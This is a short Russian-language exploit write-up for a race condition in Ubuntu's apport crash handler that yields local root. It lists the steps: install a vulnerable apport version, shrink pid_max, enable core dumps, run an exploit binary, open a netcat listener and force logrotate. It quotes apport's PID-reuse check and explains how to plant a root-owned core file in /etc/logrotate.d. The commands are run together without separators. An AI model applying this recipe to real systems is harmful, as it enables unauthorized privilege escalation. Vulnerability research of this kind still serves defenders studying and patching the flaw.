
состояние гонки в apport приводит к локальному повышению привилегий в Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (любая версия <= 2.20.11-0ubuntu27.10 подойдёт, но вам придётся загрузить исходный код)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping в /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf для немедленного запуска logrotate. (то же самое, что /etc/cron.daily/logrotate)Apport проверяет, не переиспользован ли pid, проверяя, больше ли время запуска процесса, чем у самого apport:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Но этот pid может быть переиспользован сразу после запуска apport. В таком случае get_apport_starttime() == get_process_starttime().
Итак, вы можете заставить apport создать core-файл с правами -rw------- root:root, если сможете повторно занять этот PID другим процессом, работающим под uid==0:
sudo ping 8.8.8.8 с рабочей директорией /etc/logrotate.d/. Процесс, работающий от root:root, заново займет pid A.